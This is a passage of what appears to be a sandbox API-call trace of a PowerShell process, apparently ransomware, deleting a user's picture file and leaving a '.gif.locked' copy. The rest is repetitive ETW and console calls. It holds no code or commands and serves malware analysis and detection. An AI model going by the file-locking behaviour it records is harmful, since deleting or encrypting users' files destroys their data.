lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.876] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0136.876] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.876] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif\\", lpFilePart=0x0) returned 0x44 [0136.876] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0136.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0136.877] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0136.877] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0136.877] CoTaskMemFree (pv=0x8eb8d30) [0136.878] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif")) returned 0x20 [0136.878] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.878] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0136.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif"), fInfoLevelId=0x0, lpFileInformation=0x69bb578 | out: lpFileInformation=0x69bb578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea19470, ftCreationTime.dwHighDateTime=0x1d4adf0, ftLastAccessTime.dwLowDateTime=0xe35a7a80, ftLastAccessTime.dwHighDateTime=0x1d4a898, ftLastWriteTime.dwLowDateTime=0xe35a7a80, ftLastWriteTime.dwHighDateTime=0x1d4a898, nFileSizeHigh=0x0, nFileSizeLow=0x302b)) returned 1 [0136.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0136.879] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif")) returned 1 [0136.880] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.880] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.880] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.880] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.880] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.882] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif.locked")) returned 0x20 [0136.882] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif.locked")) returned 0x20 [0136.882] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked", lpFilePart=0x0) returned 0x4a [0136.882] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked", lpFilePart=0x0) returned 0x4a [0136.882] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.882] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif", lpFilePart=0x0) returned 0x43 [0136.882] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.882] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.882] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.882] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.884] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.884] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.884] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.884] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.884] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.885] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.885] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.885] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.885] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.885] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.886] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.887] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.887] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.887] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.887] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.888] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.888] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0136.888] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.888] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.888] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.890] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0136.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0136.892] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x69cca84 | out: lpFileInformation=0x69cca84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cee2bd, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x14cee2bd, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x14cee2bd, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x3044)) returned 1 [0136.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0136.892] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked", lpFilePart=0x0) returned 0x4a [0136.892] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0136.892] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0136.892] CloseHandle (hObject=0x764) returned 1 [0136.893] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0136.894] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0136.894] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0136.898] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0136.899] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0136.899] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0136.899] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0136.902] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0136.903] GetConsoleOutputCP () returned 0x1b5 [0136.903] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0136.903] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0136.903] GetConsoleOutputCP () returned 0x1b5 [0136.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0136.904] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0136.904] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69f4b70*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x69f4b70*, lpNumberOfCharsWritten=0x99ae3a4*=0x40) returned 1 [0136.904] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0136.904] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0136.907] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0136.908] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0136.909] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0136.912] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0136.913] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0136.913] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0136.916] GetConsoleOutputCP () returned 0x1b5 [0136.917] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.917] GetConsoleOutputCP () returned 0x1b5 [0136.917] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.917] GetConsoleOutputCP () returned 0x1b5 [0136.917] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.917] GetConsoleOutputCP () returned 0x1b5 [0136.918] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.918] GetConsoleOutputCP () returned 0x1b5 [0136.918] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.918] GetConsoleOutputCP () returned 0x1b5 [0136.918] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.918] GetConsoleOutputCP () returned 0x1b5 [0136.919] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.919] GetConsoleOutputCP () returned 0x1b5 [0136.919] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.919] GetConsoleOutputCP () returned 0x1b5 [0136.919] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, 